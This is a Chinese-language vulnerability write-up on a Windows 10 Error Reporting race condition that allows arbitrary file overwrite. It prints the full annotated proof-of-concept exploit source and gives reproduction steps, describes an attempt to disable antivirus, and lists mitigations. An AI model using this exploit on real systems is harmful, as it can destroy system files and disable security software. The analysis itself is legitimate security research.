Windows 0day任意文件覆蓋漏洞分析與驗證

尋夢新聞LINE@每日推播熱門推薦文章,趣聞不漏接❤️

加入LINE好友

*本文原創作者:markyu,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載

漏洞名稱

windows任意文件覆蓋。

漏洞介紹

安全研究員SandboxEscaper披露Windows操作系統中第四個0-day漏洞的漏洞利用代碼,利用該漏洞可以覆蓋任意Windows10文件,包括通常無法訪問的基本文件,例如SandboxEscaper在POC中給出的pci.sys文件,直接造成系統拒絕服務,當然可以用此方法來關閉第三方殺軟,原文如下:

其漏洞發生模塊為WER(Windows error report),WER是一個靈活的基於事件的反饋基礎架構,用戶收集硬件和軟件發生問題時進行異常回收,然後發送給Microsoft,並給用戶提示合適的異常解決方法。

當發生異常時,首先需要使用一系列參數描述該異常,例如應用名字、應用版本、模塊名字、模塊版本、錯誤代碼等,然後根據這個異常描述,WER模塊便通常查詢WER服務器給用戶返回一個異常修復方法,假如WER服務器上存在該描述的異常,則直接返回解決方案然後通過WER顯示給用戶,假如WER服務器上沒有改描述的異常,則返回一個狀態碼,通過WER顯示並詢問用戶是否將當前錯誤發送給微軟用於以後研究。

漏洞本質

Time of Check Versus Time of Use(TOCTOU),原理參考https://www.freebuf.com/vuls/192876.html。

漏洞利用基礎環境

原文中描述該漏洞成功利用限制較多,最少要滿足以下三個要求,但經過測試,其必須連接網路要求可以並不需要,實際限制條件只有下面兩個:

1.系統版本必須為windows10(其他版本win7、win2008、win2012經測試均無法復現利用),

2.非單個CPU(單CPU多內核也是不滿足條件的)

再沒有網路連接的時候,在win10上是可以成功復現的,只是會在C:\ProgramData\Microsoft\Windows\WER\ReportQueue路徑下留下了\1_1_1_1_1\Report.wer文件,即表示該文文件未成功發送給wer服務器:

POC驗證與利用

1.下載https://github.com/SandboxEscaper/randomrepo/blob/master/angrypolarbearbug.rarPOC文件。

2.桌面新建test.txt,隨意輸入內容:

3.確保Report.wer和AngryPolarBearBug.exe在同一目錄,運行POC文件。

4.被覆蓋後的test.txt文件如下:

POC原理分析

任意文件覆蓋利用成功主要在於主程序中runme(自己創建的線程,在該線程中使用硬鏈接方式覆蓋目標文件)與system(使用計劃任務給wer服務器發送異常報告)這兩個線程函數存在時間競爭,關於具體做到過程可參考下面源碼註釋:

#include <iostream>
#include "stdafx.h"
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <strsafe.h>
const char* targetfile;//定義一個指向需要被覆蓋的文件的指針
bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname);//CreateNativeHardlink聲明,用於創建一個硬鏈接
std::wstring s2ws(const std::string& str)//將多字節編碼轉換成寬字節編碼
{
  int size_needed = MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), NULL, 0);//獲取需要的緩沖區大小,類型為int型
  std::wstring wstrTo(size_needed, 0);//申請空間時,將緩沖區大小按字符計算
  MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), &wstrTo[0], size_needed);
  return wstrTo;
}
DWORD WINAPI MyThreadFunction(LPVOID lpParam)//定義自己的線程函數
{
  LPCWSTR filename1;//LPCWSTR指向unicode編打字符串的32位指針
  LPCWSTR root = L"C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\";
  HANDLE hDir = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp",FILE_LIST_DIRECTORY,FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,NULL,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,NULL);
  FILE_NOTIFY_INFORMATION strFileNotifyInfo[1024];//FILE_NOTIFY_INFORMATION定義一個文件通知結構體
  DWORD dwBytesReturned = 0;
  std::wstring extension = L".xml";

  std::string targetf(targetfile);
  std::wstring targetfw = s2ws(targetf);
  bool blah = false;
  const wchar_t* targetfww = targetfw.c_str();//targetfww為最終轉換後的指向需要被覆蓋的文件的指針
  while (TRUE)
  {
    ReadDirectoryChangesW(hDir, (LPVOID)&strFileNotifyInfo, sizeof(strFileNotifyInfo), TRUE, FILE_NOTIFY_CHANGE_FILE_NAME, &dwBytesReturned, NULL, NULL);//監控到hDir指向的目錄下是否有文件發生改變
    filename1 = strFileNotifyInfo[0].FileName;//獲取變化的文件名
    std::wstring df = std::wstring(root) + filename1;//構造變化的文件的絕對路徑
    std::wstring::size_type found = df.find(extension);//判斷該文件後綴是否為xml
    if (found != std::wstring::npos)//匹配到了後綴為xml的文件
    {
      LPCWSTR dfc = df.c_str();//指向該變化文件的絕對路徑
      do
        {
        blah = CreateNativeHardlink(dfc,targetfww);//創建一個硬鏈接,當dfc文件變化時,targetfww文件(需要被覆蓋的文件)也會跟著變化
        } while (blah == false);//成功返回1,跳出創建線程的循環
        return 0;
    }
  }
  return 0;
}//那麼我們現在只需要創造出一個異常,並保存到C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp目錄下,調用該函數時便會成功執行,即覆蓋我們的目標文件

void runme() { //創建一個線程
  HANDLE mThread = CreateThread(NULL, 0, MyThreadFunction, NULL, 0, NULL);//線程安全屬性、堆棧大小、線程函數、線程參數、線程創建屬性、線程ID
}
int main(int argc, const char * argv[])
{
  if (argc < 2) { //判斷輸入的參數格式是否正確
    std::cout << std::endl << "Please include a filepath as first parameter";
    return 0;
  }
  DWORD dwFileSize = 0;
  DWORD dwFileSize2 = 0;
  targetfile = argv[1];//指向獲取需要被覆蓋的目標文件絕對路徑
  HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);//打開需要被覆蓋的目標文件
  if (hFile == INVALID_HANDLE_VALUE)//打開需要被覆蓋的目標文件句柄時發生異常了
  {
    std::cout << std::endl << "I do not have read permissions for this file or file does not exist";
    return 0;
  }
  dwFileSize = GetFileSize(hFile, NULL);//先獲取需要被覆蓋的目標文件的大小,用於下面判斷該文件是否已經被覆蓋
  dwFileSize2 = dwFileSize;
  CloseHandle(hFile);//關閉目標文件句柄
  std::cout << std::endl
    << "/////////////////////////////////////////////////////////" << std::endl
    << "//抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖?/" << std::endl
    << "//抖抖抖抖抖抖ЁЁЁЁ抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖?/" << std::endl
    << "//抖抖抖抖?``````````````11Ё抖抖抖抖抖抖抖抖抖抖抖抖?/" << std::endl
    << "//抖抖抖1````````````````````````1Ё抖抖抖抖抖抖抖抖抖?/" << std::endl
    << "//抖抖``````````````````````````````Ё抖抖抖抖抖抖抖?/" << std::endl
    << "//抖錠```````````````````````````````````1Ф抖抖抖抖抖?/" << std::endl
    << "//抖``````````````````````````````````````1Ф抖抖抖抖//" << std::endl
    << "//抖``````````BIPOLAR BEAR`````````````````````1Ф抖抖?/" << std::endl
    << "//?`1`````````````````````````````````````````1`1抖抖?/" << std::endl
    << "//錠抖```````````````````````````````````````````1Ф?/" << std::endl
    << "//抖禶Ё```````````````````````````````````````````Ф抖//" << std::endl
    << "//抖1``1```````````````````````111Ё抖抖抖ЁФ抖抖抖?/" << std::endl
    << "//抖````1````````````````````1Ё抖抖抖抖抖抖抖抖抖抖?/" << std::endl
    << "//錠`````````````11`````````Ё``1抖抖抖抖抖抖抖抖抖抖//" << std::endl
    << "//禶`````1抖```````抖抖1`````?````抖抖抖抖抖抖抖抖抖抖//" << std::endl
    << "//禶````Ф抖?`````抖抖```抖1````1抖抖抖抖抖抖抖抖抖?/" << std::endl
    << "//```Ф抖抖禶```1抖抖```抖禶````抖抖抖抖抖抖抖抖抖?/" << std::endl
    << "//禶```Ф抖抖禶```1抖抖```抖抖````1抖抖抖抖抖抖抖抖抖//" << std::endl
    << "//抖111`11抖抖1``````1抖```1Ф?````11抖抖抖抖抖抖抖?/" << std::endl
    << "//抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖?/" << std::endl
    << "/////////////////////////////////////////////////////////" << std::endl;
  std::cout << std::endl << "---------------------------------BIPOLAR BEAR SALUTES YOU------------------------------------------------------------" << std::endl;
  Sleep(2000);
  do {

    CreateDirectoryW(L"c:\\programdata\\microsoft\\windows\\wer\\reportqueue\\1_1_1_1_1", NULL);//再c:\\programdata\\microsoft\\windows\\wer\\reportqueue\\下創建1_1_1_1_1子目錄
    CopyFileW(L"Report.wer", L"c:\\programdata\\microsoft\\windows\\wer\\reportqueue\\1_1_1_1_1\\Report.wer", true);//復制當前目錄下Report.wer文件到上面創建子目錄中,即將該Report.wer異常包加入異常報告隊列
    runme();//在發送異常報告時,會在C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp,目錄下產出一個臨時文件Report.wer,此時便會被我們自己創建的線程捕獲,在線程中替換了目標文件
    system("SCHTASKS /Run /Tn \"Microsoft\\Windows\\Windows Error Reporting\\QueueReporting\"");//通過system函數調用計劃任務運行WER,模擬系統發送給wer服務器發送異常,故該漏洞利用條件之一需要連接網路
    HANDLE hFile2 = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);//重新獲取目標文件句柄
    if (hFile2 != INVALID_HANDLE_VALUE)//判斷當前文件大小與上一次的文件大小是否相等,假如相等便成功替換
    {
      dwFileSize2 = GetFileSize(hFile2, NULL);
    }
    CloseHandle(hFile2);
  } while (dwFileSize == dwFileSize2);
  std::cout << std::endl << "---------------------------------DATA IN FILE SUCCESSFULLY DESTROYED - Press key to exit------------------------------";
  getchar();//退出主進程
}

針對於作者原文中提到利用該漏洞可能繞過第三方殺軟,我做了如下測試,測試對象為騰訊的電腦管家,嘗試覆蓋電腦管家運行時的關鍵文件以達到關閉殺軟的效果。

首先打開任務管理器找到電腦關鍵的核心服務的QQPCMgr RTP Service ,然後再通過services.msc找到該服務,右擊屬性找到該服務程序的路徑,」C:\Program Files (x86)\Tencent\QQPCMgr\13.0.19838.236\QQPCRTP.exe」 ,那麼我們把該文件覆蓋掉是不是就可以關閉電腦管家,操作如下:

嘗試覆蓋QQPCRTP.exe文件,提示I do not have read permissions for this file or file does not exist,發現我們並不能覆蓋該文件,導致該錯誤是由於,POC中是直接通過CreateFile的方式來獲取目標文件句柄的,由於該文件處於正在運行狀態,導致獲取句柄失敗,即關閉殺軟失敗,無法利用該漏洞去覆蓋正在運行的程序。

漏洞修復

1.經驗證該漏洞只適用於win10系統版本,截至目前,微軟官方並未發布補丁,由於該漏洞環境為本地,不可以遠程觸發,為防止攻擊者對該漏洞進行利用,用戶不要下載與運行來源不明的軟件。

2.通過services.msc臨時關閉Windows Error Reporting Service。

參考

https://github.com/SandboxEscaper/randomrepo/blob/master/angrypolarbearbug.rar

https://docs.microsoft.com/en-us/windows/desktop/wer/about-wer

https://docs.microsoft.com/zh-cn/windows/desktop/FileIO/hard-links-and-junctions

*本文原創作者:markyu,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載

Windows 0day任意文件覆蓋漏洞分析與驗證 科技 第1張

About 尋夢園
尋夢園是台灣最大的聊天室及交友社群網站。 致力於發展能夠讓會員們彼此互動、盡情分享自我的平台。 擁有數百間不同的聊天室 ,讓您隨時隨地都能找到志同道合的好友!